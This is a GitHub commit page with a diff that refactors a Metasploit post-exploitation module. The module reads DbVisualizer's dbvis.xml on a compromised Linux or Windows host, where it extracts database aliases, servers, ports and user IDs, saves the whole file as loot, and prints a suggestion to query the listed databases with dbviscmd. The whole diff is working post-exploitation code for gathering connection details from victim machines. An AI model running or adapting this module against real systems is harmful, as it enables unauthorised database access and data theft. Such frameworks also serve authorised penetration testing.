Skip to content

Commit e66cc00

Browse files
committed
Merge branch 'wchen-r7-pr3522'
Changes ok
2 parents 72d9587 + cc1ba26 commit e66cc00

File tree

1 file changed

+80
-71
lines changed

1 file changed

+80
-71
lines changed

modules/post/multi/gather/dbvis_enum.rb

Lines changed: 80 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55

66
require 'msf/core'
77
require 'msf/core/auxiliary/report'
8-
require "resolv"
98

109
class Metasploit3 < Msf::Post
1110

@@ -15,22 +14,21 @@ class Metasploit3 < Msf::Post
1514

1615
def initialize(info={})
1716
super( update_info( info,
18-
'Name' => 'Dbvis Connections settings',
17+
'Name' => 'Multi Gather Dbvis Connections Settings',
1918
'Description' => %q{
2019
DbVisualizer stores the user database configuration in dbvis.xml.
21-
This module retrieves the connections settings from this file.
20+
This module retrieves the connections settings from this file.
2221
},
2322
'License' => MSF_LICENSE,
24-
'Author' => [ 'David Bloom <@philophobia78>' ],
23+
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
2524
'Platform' => %w{ linux win },
2625
'SessionTypes' => [ 'meterpreter', 'shell']
2726
))
2827
end
2928

3029
def run
31-
3230
db_table = Rex::Ui::Text::Table.new(
33-
'Header' => "Dbvis available databases",
31+
'Header' => "Dbvis Databases",
3432
'Indent' => 2,
3533
'Columns' =>
3634
[
@@ -43,15 +41,14 @@ def run
4341
"Userid",
4442
])
4543

46-
4744
dbs = []
4845

4946
case session.platform
5047
when /linux/
5148
user = session.shell_command("whoami").chomp
5249
print_status("Current user is #{user}")
5350
if (user =~ /root/)
54-
user_base="/root/"
51+
user_base = "/root/"
5552
else
5653
user_base="/home/#{user}/"
5754
end
@@ -65,77 +62,94 @@ def run
6562
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
6663
end
6764

65+
unless file?(dbvis_file)
66+
print_error("File not found: #{dbvis_file}")
67+
return
68+
end
69+
6870
db = {}
6971
print_status("Reading: #{dbvis_file}")
70-
dbfound=false
72+
dbfound = false
73+
74+
raw_xml = ""
75+
begin
76+
raw_xml = read_file(dbvis_file)
77+
rescue EOFError
78+
# If there's nothing in the file, we hit EOFError
79+
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
80+
return
81+
end
82+
7183
# read config file
72-
read_file(dbvis_file).each_line do |line|
73-
if (line =~ /<Database id=/)
74-
dbfound=true
75-
else if (line =~ /<\/Database>/)
76-
dbfound=false
77-
if db[:Database].nil?
78-
db[:Database]="";
79-
end
80-
if db[:Namespace].nil?
81-
db[:Namespace]="";
82-
end
83-
# save
84-
dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] )
85-
db = {}
86-
end
87-
if (dbfound=true)
88-
# get the alias
89-
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
90-
db[:Alias] = $1
91-
end
92-
93-
# get the type
94-
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
95-
db[:Type] = $1
96-
end
97-
# get the user
98-
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
99-
db[:Userid] = $1
100-
end
101-
102-
# get the server
103-
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
104-
db[:Server] = $1
105-
end
106-
107-
# get the port
108-
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
109-
db[:Port] = $1
110-
end
111-
112-
# get the database
113-
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
114-
db[:Database] = $1
115-
end
116-
117-
# get the Namespace
118-
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
119-
db[:Namespace] = $1
120-
end
121-
end
122-
end
84+
raw_xml.each_line do |line|
85+
if line =~ /<Database id=/
86+
dbfound = true
87+
elsif line =~ /<\/Database>/
88+
dbfound=false
89+
if db[:Database].nil?
90+
db[:Database] = "";
91+
end
92+
if db[:Namespace].nil?
93+
db[:Namespace] = "";
94+
end
95+
# save
96+
dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] )
97+
db = {}
98+
end
99+
100+
if dbfound == true
101+
# get the alias
102+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
103+
db[:Alias] = $1
104+
end
105+
106+
# get the type
107+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
108+
db[:Type] = $1
109+
end
110+
111+
# get the user
112+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
113+
db[:Userid] = $1
114+
end
115+
116+
# get the server
117+
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
118+
db[:Server] = $1
119+
end
120+
121+
# get the port
122+
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
123+
db[:Port] = $1
124+
end
125+
126+
# get the database
127+
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
128+
db[:Database] = $1
129+
end
130+
131+
# get the Namespace
132+
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
133+
db[:Namespace] = $1
134+
end
135+
end
123136
end
124137

125138
# print out
126139
dbs.each do |db|
127-
if (!!(db[:Server] =~ Resolv::IPv4::Regex))
128-
print_good("Reporting #{db[:Server]} ")
129-
report_host(:host => db[:Server]);
140+
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
141+
print_good("Reporting #{db[:Server]} ")
142+
report_host(:host => db[:Server]);
130143
end
144+
131145
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
132146
end
133147

134148
if db_table.rows.empty?
135149
print_status("No database settings found")
136150
else
137-
print_line("\n" + db_table.to_s)
138-
151+
print_line("\n")
152+
print_line(db_table.to_s)
139153
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
140154
print_good("")
141155
# store found databases
@@ -146,16 +160,11 @@ def run
146160
db_table.to_csv,
147161
"dbvis_databases.txt",
148162
"dbvis databases")
149-
150163
print_good("Databases settings stored in: #{p.to_s}")
151-
152164
end
165+
153166
print_status("Downloading #{dbvis_file}")
154167
p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config")
155168
print_good "dbvis.xml saved to #{p.to_s}"
156-
157-
rescue ::Exception => e
158-
print_error("Couldn't read #{dbvis_file}: #{e.to_s}")
159169
end
160-
161170
end

0 commit comments

Comments
 (0)